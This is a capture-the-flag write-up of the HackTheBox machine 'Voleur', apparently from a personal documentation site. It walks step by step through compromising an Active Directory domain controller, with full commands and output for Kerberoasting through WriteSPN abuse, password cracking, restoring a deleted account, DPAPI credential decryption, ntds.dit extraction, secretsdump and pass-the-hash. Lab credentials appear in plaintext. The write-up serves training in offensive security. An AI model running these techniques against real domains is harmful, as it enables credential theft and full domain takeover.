> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/voleur.md). # Voleur VOLEUR is a Windows AD DC box chaining WriteSPN Kerberoasting, AD object restoration, DPAPI credential decryption, and offline ntds.dit dumping to achieve full domain compromise.
**Difficulty:** Hard\ **OS:** Windows (Active Directory / Domain Controller)\ **IP:** `10.129.232.130` *** ### Summary VOLEUR is a Windows Active Directory Domain Controller machine. The attack chain involves exploiting Kerberos Pre-Authentication being disabled for an initial user, enumerating SMB shares to recover a password-protected Excel file containing credentials and AD access notes, then chaining a series of AD privilege abuse techniques: WriteSPN → Kerberoasting → GenericWrite → AD Object Restore → DPAPI credential decryption → SSH access to a backup account with ntds.dit on disk, ultimately yielding a full domain compromise via `impacket-secretsdump`. *** ### Enumeration #### Nmap The scan reveals a Domain Controller for `voleur.htb`. Notably, there is an **SSH service on port 2222** running on a Linux kernel — suggesting a Linux subsystem or container co-hosted on the DC. The clock skew of nearly 8 hours also indicates the attacker's clock needs syncing for Kerberos to work. ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ nmap 10.129.232.130 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-11 03:39 -0400 Nmap scan report for 10.129.232.130 Host is up (0.19s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-11 15:39:24Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA) | 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA) |_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel Host script results: | smb2-time: | date: 2026-03-11T15:39:50 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: 7h59m55s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 93.59 seconds ``` #### Clock Sync Kerberos is time-sensitive (±5 minutes tolerance), so the first step is syncing the local clock: ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ sudo ntpdate voleur.htb 2026-03-11 11:46:20.923909 (-0400) +28797.386158 +/- 0.079981 voleur.htb 10.129.232.130 s1 no-leap CLOCK: time stepped by 28797.386158 ``` ### Foothold — ryan.naylor (Kerberos Pre-Auth Disabled) With credentials `ryan.naylor:HollowOct31Nyt` (presumably obtained from a prior step or initial hint), and noting from the Access Review spreadsheet later that Ryan has **Kerberos Pre-Authentication disabled**, authentication is performed using Kerberos rather than NTLM.\ A Kerberos config file is generated and installed: ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ nxc smb 10.129.232.130 -u ryan.naylor -p 'HollowOct31Nyt' --shares -k --generate-krb5-file voleur.krb5 SMB 10.129.232.130 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False) SMB 10.129.232.130 445 DC [+] krb5 conf saved to: voleur.krb5 SMB 10.129.232.130 445 DC [+] Run the following command to use the conf file: export KRB5_CONFIG=voleur.krb5 SMB 10.129.232.130 445 DC [+] voleur.htb\ryan.naylor:HollowOct31Nyt [11:50:20] ERROR NetBIOSTimeout on target 10.129.232.130: The NETBIOS connection with the remote host timed out. connection.py:185 ┌──(kali㉿kali)-[~/Documents/voleur] └─$ echo '[libdefaults] dns_lookup_kdc = false dns_lookup_realm = false default_realm = VOLEUR.HTB [realms] VOLEUR.HTB = { kdc = dc.voleur.htb admin_server = dc.voleur.htb default_domain = voleur.htb } [domain_realm] .voleur.htb = VOLEUR.HTB voleur.htb = VOLEUR.HTB ' | sudo tee /etc/krb5.conf ``` #### SMB Share Enumeration ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ nxc smb 10.129.232.130 -u ryan.naylor -p 'HollowOct31Nyt' --shares -k SMB 10.129.232.130 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False) SMB 10.129.232.130 445 DC [+] voleur.htb\ryan.naylor:HollowOct31Nyt SMB 10.129.232.130 445 DC [*] Enumerated shares SMB 10.129.232.130 445 DC Share Permissions Remark SMB 10.129.232.130 445 DC ----- ----------- ------ SMB 10.129.232.130 445 DC ADMIN$ Remote Admin SMB 10.129.232.130 445 DC C$ Default share SMB 10.129.232.130 445 DC Finance SMB 10.129.232.130 445 DC HR SMB 10.129.232.130 445 DC IPC$ READ Remote IPC SMB 10.129.232.130 445 DC IT READ SMB 10.129.232.130 445 DC NETLOGON READ Logon server share SMB 10.129.232.130 445 DC SYSVOL READ Logon server share ``` The **IT** share is the most interesting. Connecting via `smbclient`: ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ smbclient //DC.voleur.htb/IT -k -no-pass ``` A file `Access_Review.xlsx` is retrieved from the share. ### Access\_Review\.xlsx — Credential Intelligence The Excel file is password-protected. The password hash is extracted with `office2john` and cracked with `john`: ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ office2john Access_Review.xlsx > hash.txt ┌──(kali㉿kali)-[~/Documents/voleur] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES]) Cost 1 (MS Office version) is 2013 for all loaded hashes Cost 2 (iteration count) is 100000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status football1 (Access_Review.xlsx) 1g 0:00:00:01 DONE (2026-03-11 12:03) 0.5102g/s 408.1p/s 408.1c/s 408.1C/s football1..martha Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` The spreadsheet reveals a wealth of information about domain users and service accounts: #### User Accounts | User | Job Title | Permissions | Notes | | ------------- | ------------------------------ | ----------------------- | ---------------------------------------------------------------------- | | Ryan.Naylor | First-Line Support Technician | SMB | **Kerberos Pre-Auth disabled** temporarily to test legacy systems | | Marie.Bryant | First-Line Support Technician | SMB | | | Lacey.Miller | Second-Line Support Technician | Remote Management Users | | | Todd.Wolfe | Second-Line Support Technician | Remote Management Users | **Leaver.** Password reset to `NightT1meP1dg3on14` and account deleted | | Jeremy.Combs | Third-Line Support Technician | Remote Management Users | | | Administrator | Administrator | Domain Admin | Not to be used for daily tasks! | #### Service Accounts | Account | Permissions | Notes | | ----------- | ------------------ | -------------------------------------------- | | svc\_backup | Windows Backup | Speak to Jeremy! | | svc\_ldap | LDAP Services | P/W: `M1XyC9pW7qT5Vn` | | svc\_iis | IIS Administration | P/W: `N5pXyW1VqM?CZ8` | | svc\_winrm | Remote Management | Need to ask Lacey as she reset this recently | This single file gives us plaintext passwords for `svc_ldap` and `svc_iis`, a deleted account with its reset password (`todd.wolfe`), and critical context about the AD environment.\ the `Access-Review.xlsx` had these entries in it ### AD Enumeration — svc\_ldap With `svc_ldap:M1XyC9pW7qT5Vn`, LDAP can be queried directly. An `ldapsearch` confirms that `svc_ldap` is a member of the **Restore\_Users** group: `svc_ldap` is part of `Restore_Users` group ```bash ┌──(kali㉿kali)-[~] └─$ ldapsearch -x -H ldap://10.129.232.130 \ -D "svc_ldap@voleur.htb" \ -w 'M1XyC9pW7qT5Vn' \ -b "DC=voleur,DC=htb" "(cn=Restore_Users)" # extended LDIF # # LDAPv3 # base with scope subtree # filter: (cn=Restore_Users) # requesting: ALL # # Restore_Users, voleur.htb dn: CN=Restore_Users,DC=voleur,DC=htb objectClass: top objectClass: group cn: Restore_Users member: CN=svc_ldap,OU=Service Accounts,DC=voleur,DC=htb distinguishedName: CN=Restore_Users,DC=voleur,DC=htb instanceType: 4 whenCreated: 20250129124301.0Z whenChanged: 20250129124311.0Z uSNCreated: 12996 uSNChanged: 13000 name: Restore_Users objectGUID:: E6ziEuI0q0Oh5NO6O/WSjA== objectSid:: AQUAAAAAAAUVAAAA+eMb6mZhtk8nnM2lQgYAAA== sAMAccountName: Restore_Users sAMAccountType: 268435456 groupType: -2147483646 objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=voleur,DC=htb dSCorePropagationData: 20250508000013.0Z dSCorePropagationData: 20250129124348.0Z dSCorePropagationData: 16010101000001.0Z # search reference ref: ldap://ForestDnsZones.voleur.htb/DC=ForestDnsZones,DC=voleur,DC=htb # search reference ref: ldap://DomainDnsZones.voleur.htb/DC=DomainDnsZones,DC=voleur,DC=htb # search reference ref: ldap://voleur.htb/CN=Configuration,DC=voleur,DC=htb # search result search: 2 result: 0 Success # numResponses: 5 # numEntries: 1 # numReferences: 3 ``` #### BloodHound Graph Running BloodHound reveals two critical edges Two attack paths are immediately clear: 1. **WriteSPN on svc\_winrm** → Set a fake SPN → Kerberoast the hash → Crack the password 2. **GenericWrite on lacey.miller** → Set a fake SPN → Kerberoast her hash
### Lateral Movement 1 — Kerberoasting svc\_winrm via WriteSPN Since `svc_ldap` has `WriteSPN` rights over `svc_winrm`, a fake SPN can be written to make `svc_winrm` Kerberoastable: ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k set object svc_winrm servicePrincipalName -v 'voleur.htb/meow' [+] svc_winrm servicePrincipalName has been updated ``` Now request the TGS ticket for `svc_winrm`: ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ nxc ldap 10.129.232.130 -u svc_ldap -p 'M1XyC9pW7qT5Vn' --kerberoasting kerb_hashes.txt -k LDAP 10.129.232.130 389 DC [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False) LDAP 10.129.232.130 389 DC [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn LDAP 10.129.232.130 389 DC [*] Skipping disabled account: krbtgt LDAP 10.129.232.130 389 DC [*] Total of records returned 1 LDAP 10.129.232.130 389 DC [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb, pwdLastSet: 2025-01-31 04:10:12.398769, lastLogon: 2025-01-29 10:07:32.711487 LDAP 10.129.232.130 389 DC $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$2b3647e121...SNIP... ``` The hash is cracked with `hashcat` (mode 13100): ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$2b3647e12133a...SNIP...b67139c0:AFireInsidedeOzarctica980219afi Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_wi...7139c0 Time.Started.....: Wed Mar 11 13:07:26 2026 (6 secs) Time.Estimated...: Wed Mar 11 13:07:32 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 1961.8 kH/s (1.58ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 11472896/14344385 (79.98%) Rejected.........: 0/11472896 (0.00%) Restore.Point....: 11468800/14344385 (79.95%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: AK78910 -> ADRIANXXL Hardware.Mon.#01.: Util: 75% ``` **Credentials:** `svc_winrm:AFireInsidedeOzarctica980219afi` #### Shell as svc\_winrm (+user flag) ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ kinit svc_winrm@VOLEUR.HTB Password for svc_winrm@VOLEUR.HTB: ┌──(kali㉿kali)-[~/Documents/voleur] └─$ evil-winrm -i dc.voleur.htb -u svc_winrm -r voleur.htb *Evil-WinRM* PS C:\Users\svc_winrm\Documents> type ../Desktop/user.txt 37d7xxxxxxxxxxxxxxxxxxxxxxc2e0 ``` ```bash ┌──(kali㉿kali)-[~] └─$ bloodyAD --host dc.voleur.htb --dc-ip 10.129.232.130 \ -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k \ set object lacey.miller servicePrincipalName -v 'HTTP/meow' [+] lacey.miller servicePrincipalName has been updated ┌──(kali㉿kali)-[~] └─$ impacket-GetUserSPNs voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -k \ -dc-host dc.voleur.htb -request Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ------------ ------------------------------------------------------ -------------------------- -------------------------- ---------- HTTP/meow lacey.miller CN=Second-Line Technicians,DC=voleur,DC=htb 2025-01-29 04:20:10.758901 voleur.htb/meow svc_winrm CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb 2025-01-31 04:10:12.398769 2026-03-11 13:13:07.838319 [-] CCache file is not found. Skipping... $krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*$29ab4cd4f...SNIP... $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$2edd4428f27...SNIP... ``` couldnt crack `lacey.miller` hash, wouldn't matter anyways, i think ### Lateral Movement 2 — Restoring the Deleted todd.wolfe Account The Access\_Review spreadsheet noted that `todd.wolfe` was a leaver whose password was reset to `NightT1meP1dg3on14` before the account was deleted. The **Restore\_Users** group membership on `svc_ldap` implies the ability to restore deleted AD objects. #### Locating the Deleted Object ```bash ┌──(kali㉿kali)-[~/Documents/voleur] └─$ ldapsearch -H ldap://dc.voleur.htb \ -D "svc_ldap@voleur.htb" \ -w 'M1XyC9pW7qT5Vn' \ -b "DC=voleur,DC=htb" \ -s sub "(displayName=Todd*)" \ distinguishedName isDeleted \ -E '!1.2.840.113556.1.4.417' # extended LDIF # # LDAPv3 # base with scope subtree # filter: (displayName=Todd*) # requesting: distinguishedName isDeleted # # Todd Wolfe DEL:1c6b1deb-c372-4cbb-87b1-15031de169db, Deleted Objects, voleur. htb dn: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Object s,DC=voleur,DC=htb distinguishedName: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN =Deleted Objects,DC=voleur,DC=htb isDeleted: TRUE # search reference ref: ldap://ForestDnsZones.voleur.htb/DC=ForestDnsZones,DC=voleur,DC=htb # search reference ref: ldap://DomainDnsZones.voleur.htb/DC=DomainDnsZones,DC=voleur,DC=htb # search reference ref: ldap://voleur.htb/CN=Configuration,DC=voleur,DC=htb # search result search: 2 result: 0 Success # numResponses: 5 # numEntries: 1 # numReferences: 3 ``` The deleted object GUID is returned: ```bash CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb isDeleted: TRUE ``` #### Restoring via RunasCs `RunasCs.exe` is uploaded to the Evil-WinRM session as `svc_winrm` and used to run `Restore-ADObject` in the context of `svc_ldap`, which has the required group membership: ```bash *Evil-WinRM* PS C:\Users\svc_winrm\Documents> ./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell -c Restore-ADObject -Identity '1c6b1deb-c372-4cbb-87b1-15031de169db'" [*] Warning: The logon for user 'svc_ldap' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token. No output received from the process. ``` After a short delay (the account needs time to propagate back into the directory), `todd.wolfe` can authenticate: ```bash ┌──(kali㉿kali)-[~/Documents/voleur/RunasCs] └─$ impacket-getTGT voleur.htb/todd.wolfe -dc-ip 10.129.232.130 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [*] Saving ticket in todd.wolfe.ccache ┌──(kali㉿kali)-[~/Documents/voleur/RunasCs] └─$ export KRB5CCNAME=todd.wolfe.ccache ┌──(kali㉿kali)-[~/Documents/voleur/RunasCs] └─$ nxc smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -d VOLEUR.htb -k --shares SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False) SMB dc.voleur.htb 445 dc [-] VOLEUR.htb\todd.wolfe:NightT1meP1dg3on14 KDC_ERR_C_PRINCIPAL_UNKNOWN ┌──(kali㉿kali)-[~/Documents/voleur/RunasCs] └─$ nxc smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -d VOLEUR.htb -k --shares SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False) SMB dc.voleur.htb 445 dc [+] VOLEUR.htb\todd.wolfe:NightT1meP1dg3on14 SMB dc.voleur.htb 445 dc [*] Enumerated shares SMB dc.voleur.htb 445 dc Share Permissions Remark SMB dc.voleur.htb 445 dc ----- ----------- ------ SMB dc.voleur.htb 445 dc ADMIN$ Remote Admin SMB dc.voleur.htb 445 dc C$ Default share SMB dc.voleur.htb 445 dc Finance SMB dc.voleur.htb 445 dc HR SMB dc.voleur.htb 445 dc IPC$ READ Remote IPC SMB dc.voleur.htb 445 dc IT READ SMB dc.voleur.htb 445 dc NETLOGON READ Logon server share SMB dc.voleur.htb 445 dc SYSVOL READ Logon server share ┌──(kali㉿kali)-[~/Documents/voleur/RunasCs] └─$ kinit todd.wolfe@VOLEUR.HTB Password for todd.wolfe@VOLEUR.HTB: ┌──(kali㉿kali)-[~/Documents/voleur/RunasCs] └─$ smbclient //dc.voleur.htb/IT -k -no-pass WARNING: The option -k|--kerberos is deprecated! Try "help" to get a list of possible commands. smb: \> ``` ### DPAPI Credential Decryption — Recovering jeremy.combs `todd.wolfe` has READ access to the IT share. Under the archived user profile path, his DPAPI master key and a credential blob are found: ```bash smb: \Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\> ls . DS 0 Wed Jan 29 10:13:09 2025 .. DS 0 Wed Jan 29 10:13:09 2025 08949382-134f-4c63-b93c-ce52efc0aa88 A 740 Wed Jan 29 07:53:09 2025 BK-VOLEUR AHS 900 Wed Jan 29 07:53:09 2025 Preferred AHS 24 Wed Jan 29 07:53:09 2025 5311743 blocks of size 4096. 994875 blocks available smb: \Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\> get 08949382-134f-4c63-b93c-ce52efc0aa88 getting file \Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88 of size 740 as 08949382-134f-4c63-b93c-ce52efc0aa88 (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec) ...SNIP smb: \Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\> ls . DS 0 Wed Jan 29 10:13:09 2025 .. D 0 Wed Jan 29 10:13:09 2025 Credentials DSn 0 Wed Jan 29 10:13:09 2025 Crypto DS 0 Wed Jan 29 10:13:09 2025 Internet Explorer D 0 Wed Jan 29 10:13:09 2025 Network D 0 Wed Jan 29 10:13:09 2025 Protect DS 0 Wed Jan 29 10:13:09 2025 Spelling D 0 Sat May 8 04:20:24 2021 SystemCertificates DSn 0 Wed Jan 29 10:13:09 2025 Vault D 0 Wed Jan 29 07:54:04 2025 Windows D 0 Wed Jan 29 10:13:10 2025 5311743 blocks of size 4096. 994411 blocks available smb: \Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\> cd Credentials smb: \Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\> ls . DSn 0 Wed Jan 29 10:13:09 2025 .. DS 0 Wed Jan 29 10:13:09 2025 772275FAD58525253490A9B0039791D3 An 398 Wed Jan 29 07:55:19 2025 5311743 blocks of size 4096. 994411 blocks available ``` Both files are downloaded via `smbclient`. #### Step 1 — Decrypt the DPAPI Master Key ```bash ┌──(kali㉿kali)-[~/Documents/voleur/dpapi_phase] └─$ impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 \ -sid S-1-5-21-3927696377-1337352550-2781715495-1110 \ -password NightT1meP1dg3on14 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [MASTERKEYFILE] Version : 2 (2) Guid : 08949382-134f-4c63-b93c-ce52efc0aa88 Flags : 0 (0) Policy : 0 (0) MasterKeyLen: 00000088 (136) BackupKeyLen: 00000068 (104) CredHistLen : 00000000 (0) DomainKeyLen: 00000174 (372) Decrypted key with User Key (MD4 protected) Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83 ``` #### Step 2 — Decrypt the Credential Blob ```bash ┌──(kali㉿kali)-[~/Documents/voleur/dpapi_phase] └─$ impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 \ -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [CREDENTIAL] LastWritten : 2025-01-29 12:55:19+00:00 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=Jezzas_Account Description : Unknown : Username : jeremy.combs Unknown : qT3V9pLXyN7W4m ``` **Credentials:** `jeremy.combs:qT3V9pLXyN7W4m` The Access\_Review spreadsheet noted Jeremy has a connection to `svc_backup` ("Speak to Jeremy!") *** ### Lateral Movement 3 — jeremy.combs → svc\_backup → ntds.dit #### Shell as jeremy.combs now we've got the password of `jeremy.combs` and in excel file we saw that he has connection with `svc_backup` so we will access his account using an `Evil-WinRM` shell ```bash ┌──(kali㉿kali)-[~/Documents/voleur/dpapi_phase] └─$ impacket-getTGT voleur.htb/jeremy.combs:'qT3V9pLXyN7W4m' -dc-ip 10.129.232.130 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in jeremy.combs.ccache ┌──(kali㉿kali)-[~/Documents/voleur/dpapi_phase] └─$ export KRB5CCNAME=jeremy.combs.ccache evil-winrm -i dc.voleur.htb -r VOLEUR.HTB *Evil-WinRM* PS C:\Users\jeremy.combs\Documents> ``` #### SSH Key for svc\_backup Inside `C:\IT\Third-Line Support\`, an `id_rsa` private key is found alongside a `Note.txt`. This key grants SSH access to `svc_backup` on port 2222 (the Linux subsystem): ```bash ┌──(kali㉿kali)-[~/Documents/voleur/dpapi_phase] └─$ chmod 600 id_rsa ssh -i id_rsa svc_backup@10.129.232.130 -p 2222 ``` #### Locating ntds.dit The `svc_backup` account (Windows Backup Operators) has access to a pre-staged backup directory: ``` /mnt/c/IT/Third-Line Support/Backups/ ├── Active Directory/ │ ├── ntds.dit │ └── ntds.jfm └── registry/ ├── SECURITY └── SYSTEM ``` All three files are exfiltrated via `scp`:\ then we'll get these files and use `impacket-secretsdump` to get the hashes ```bash ┌──(kali㉿kali)-[~/Documents/voleur/last_phase] └─$ scp -i ../dpapi_phase/id_rsa -P 2222 "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" ./SECURITY scp -i ../dpapi_phase/id_rsa -P 2222 "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" ./SYSTEM scp -i ../dpapi_phase/id_rsa -P 2222 "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ./ntds.dit ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html SECURITY 100% 32KB 44.2KB/s 00:00 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html SYSTEM 100% 18MB 604.0KB/s 00:29 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html ntds.dit 100% 24MB 532.5KB/s 00:46 ``` ### Privilege Escalation — Domain Admin via secretsdump With `ntds.dit`, `SYSTEM`, and `SECURITY` hive files in hand, all domain hashes are extracted offline: ```bash ┌──(kali㉿kali)-[~/Documents/voleur/last_phase] └─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies ``` The Administrator NTLM hash is recovered. A TGT is obtained via Pass-the-Hash: ```bash ┌──(kali㉿kali)-[~] └─$ impacket-getTGT voleur.htb/administrator -hashes :e656e07xxxxxxxxxxxxx60b259ad2 -dc-ip 10.129.232.130 export KRB5CCNAME=administrator.ccache Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in administrator.ccache ┌──(kali㉿kali)-[~] └─$ evil-winrm -i dc.voleur.htb -r VOLEUR.HTB *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt 6070xxxxxxxxxxxxxxxxxxxxxxxxxxx5c13 ``` ### Attack Chain Summary ``` ryan.naylor (Pre-Auth disabled, SMB READ) └─► IT Share ──► Access_Review.xlsx (cracked: football1) └─► svc_ldap:M1XyC9pW7qT5Vn ├─► WriteSPN on svc_winrm ──► Kerberoast ──► svc_winrm:AFireInsidedeOzarctica980219afi │ └─► Evil-WinRM shell ──► user.txt │ └─► RunasCs as svc_ldap ──► Restore todd.wolfe │ └─► IT Share (todd.wolfe) ──► DPAPI master key + credential blob │ └─► jeremy.combs:qT3V9pLXyN7W4m │ └─► C:\IT\Third-Line Support\ ──► id_rsa │ └─► SSH svc_backup ──► ntds.dit + SYSTEM + SECURITY │ └─► secretsdump ──► Administrator hash │ └─► Evil-WinRM ──► root.txt └─► GenericWrite on lacey.miller (via Restore_Users) ──► Kerberoast (hash not crackable) ``` ### Key Techniques * **Kerberos-only auth** (NTLM disabled on target) — all lateral movement uses `-k` Kerberos flags * **WriteSPN abuse** — assigning a fake SPN to a user account to make it Kerberoastable * **AD Object Restore** — using `Restore-ADObject` via `RunasCs` under a group-privileged context * **DPAPI offline decryption** — master key derived from user password + SID, applied to a credential blob to recover plaintext secrets * **Offline ntds.dit dumping** — extracting the AD database from a backup rather than running LSASS tools in memory